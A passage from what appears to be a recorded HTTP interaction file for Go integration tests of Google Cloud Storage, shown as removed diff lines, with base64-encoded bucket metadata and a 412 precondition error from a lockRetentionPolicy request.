"Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpF7Lqxvm1dNC6q_v81ZB1Ui9c2ZLJ3GXLX6Y6UNZN1nbkF78c0J3NwXavHF1cMFZ5oP8ufCnmCLg9vQHM6tfs2ih8YxQSfE4D3AxGsvBaGNP3VUMo" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOCIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE4IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjE1LjA5N1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjoxNS4wOTdaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sImxvY2F0aW9uIjoiVVMiLCJyZXRlbnRpb25Qb2xpY3kiOnsicmV0ZW50aW9uUGVyaW9kIjoiOTAwMDAiLCJlZmZlY3RpdmVUaW1lIjoiMjAxOS0wNS0wMlQyMjoyNjoxNS4wOTdaIn0sInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBRT0ifQ==" - } - }, - { - "ID": "e1dbaeed8c6d1ffb", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0018/lockRetentionPolicy?alt=json\u0026ifMetagenerationMatch=0\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "0" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 412, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "12155" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:16 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2Ur4dRXLSTXYf9VXr3eOCMfuLBwDLvNQMXwIYjwEuSFQO_p-SxZQXQJ7I_VA0T5Hn8gnnEZIqLV3vLCnurXr0cyHDEMpCdxWOiIiqsXlgkbcLKf78to" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImNvbmRpdGlvbk5vdE1ldCIsIm1lc3NhZ2UiOiJQcmVjb25kaXRpb24gRmFpbGVkIiwibG9jYXRpb25UeXBlIjoiaGVhZGVyIiwibG9jYXRpb24iOiJJZi1NYXRjaCIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpJTkNPUlJFQ1RfTUVUQV9HRU5FUkFUSU9OX1NQRUNJRklFRDogZXhwZWN0ZWQgQnVja2V0TWV0YWRhdGEubWV0YWRhdGFfZ2VuZXJhdGlvbjogMCBhY3R1YWw6IDFcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuTG9ja1JldGVudGlvblBvbGljeS5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTG9ja1JldGVudGlvblBvbGljeS5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkxvY2tSZXRlbnRpb25Qb2xpY3kuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKExvY2tSZXRlbnRpb25Qb2xpY3kuamF2YTo1Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQnVja2V0c0RlbGVnYXRvci5sb2NrUmV0ZW50aW9uUG9saWN5KEJ1Y2tldHNEZWxlZ2F0b3IuamF2YToxMDkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGV4cGVjdGVkIEJ1Y2tldE1ldGFkYXRhLm1ldGFkYXRhX2dlbmVyYXRpb246IDAgYWN0dWFsOiAxXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPVBSRUNPTkRJVElPTl9GQUlMRUQsIGNhdGVnb3J5PVVTRVJfRVJST1IsIGNhdXNlPW51bGwsIGRlYnVnSW5mbz1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6SU5DT1JSRUNUX01FVEFfR0VORVJBVElPTl9TUEVDSUZJRUQ6IGV4cGVjdGVkIEJ1Y2tldE1ldGFkYXRhLm1ldGFkYXRhX2dlbmVyYXRpb246IDAgYWN0dWFsOiAxXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkxvY2tSZXRlbnRpb25Qb2xpY3kuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKExvY2tSZXRlbnRpb25Qb2xpY3kuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYnVja2V0cy5Mb2NrUmV0ZW50aW9uUG9saWN5LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChMb2NrUmV0ZW50aW9uUG9saWN5LmphdmE6NTcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkJ1Y2tldHNEZWxlZ2F0b3IubG9ja1JldGVudGlvblBvbGljeShCdWNrZXRzRGVsZWdhdG9yLmphdmE6MTA5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBleHBlY3RlZCBCdWNrZXRNZXRhZGF0YS5tZXRhZGF0YV9nZW5lcmF0aW9uOiAwIGFjdHVhbDogMVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGRvbWFpbj1nbG9iYWwsIGV4dGVuZGVkSGVscD1udWxsLCBodHRwSGVhZGVycz17fSwgaHR0cFN0YXR1cz1wcmVjb25kaXRpb25GYWlsZWQsIGludGVybmFsUmVhc29uPVJlYXNvbnthcmd1bWVudHM9e30sIGNhdXNlPW51bGwsIGNvZGU9Z2RhdGEuQ29yZUVycm9yRG9tYWluLkNPTkRJVElPTl9OT1RfTUVULCBjcmVhdGVkQnlCYWNrZW5kPXRydWUsIGRlYnVnTWVzc2FnZT1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6SU5DT1JSRUNUX01FVEFfR0VORVJBVElPTl9TUEVDSUZJRUQ6IGV4cGVjdGVkIEJ1Y2tldE1ldGFkYXRhLm1ldGFkYXRhX2dlbmVyYXRpb246IDAgYWN0dWFsOiAxXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkxvY2tSZXRlbnRpb25Qb2xpY3kuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKExvY2tSZXRlbnRpb25Qb2xpY3kuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYnVja2V0cy5Mb2NrUmV0ZW50aW9uUG9saWN5LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChMb2NrUmV0ZW50aW9uUG9saWN5LmphdmE6NTcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkJ1Y2tldHNEZWxlZ2F0b3IubG9ja1JldGVudGlvblBvbGljeShCdWNrZXRzRGVsZWdhdG9yLmphdmE6MTA5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBleHBlY3RlZCBCdWNrZXRNZXRhZGF0YS5tZXRhZGF0YV9nZW5lcmF0aW9uOiAwIGFjdHVhbDogMVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPUNPTkRJVElPTl9OT1RfTUVULCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9bnVsbCwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPWhlYWRlcnMuSWYtTWF0Y2gsIG1lc3NhZ2U9UHJlY29uZGl0aW9uIEZhaWxlZCwgcmVhc29uPWNvbmRpdGlvbk5vdE1ldCwgcnBjQ29kZT00MTJ9IFByZWNvbmRpdGlvbiBGYWlsZWQ6IGNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpJTkNPUlJFQ1RfTUVUQV9HRU5FUkFUSU9OX1NQRUNJRklFRDogZXhwZWN0ZWQgQnVja2V0TWV0YWRhdGEubWV0YWRhdGFfZ2VuZXJhdGlvbjogMCBhY3R1YWw6IDFcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuTG9ja1JldGVudGlvblBvbGljeS5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTG9ja1JldGVudGlvblBvbGljeS5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkxvY2tSZXRlbnRpb25Qb2xpY3kuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKExvY2tSZXRlbnRpb25Qb2xpY3kuamF2YTo1Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQnVja2V0c0RlbGVnYXRvci5sb2NrUmV0ZW50aW9uUG9saWN5KEJ1Y2tldHNEZWxlZ2F0b3IuamF2YToxMDkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGV4cGVjdGVkIEJ1Y2tldE1ldGFkYXRhLm1ldGFkYXRhX2dlbmVyYXRpb246IDAgYWN0dWFsOiAxXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5FcnJvckNvbGxlY3Rvci50b0ZhdWx0KEVycm9yQ29sbGVjdG9yLmphdmE6NTQpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5RXJyb3JDb252ZXJ0ZXIudG9GYXVsdChSb3N5RXJyb3JDb252ZXJ0ZXIuamF2YTo2Nylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lIYW5kbGVyJDIuY2FsbChSb3N5SGFuZGxlci5qYXZhOjI1OSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lIYW5kbGVyJDIuY2FsbChSb3N5SGFuZGxlci5qYXZhOjIzOSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkRpc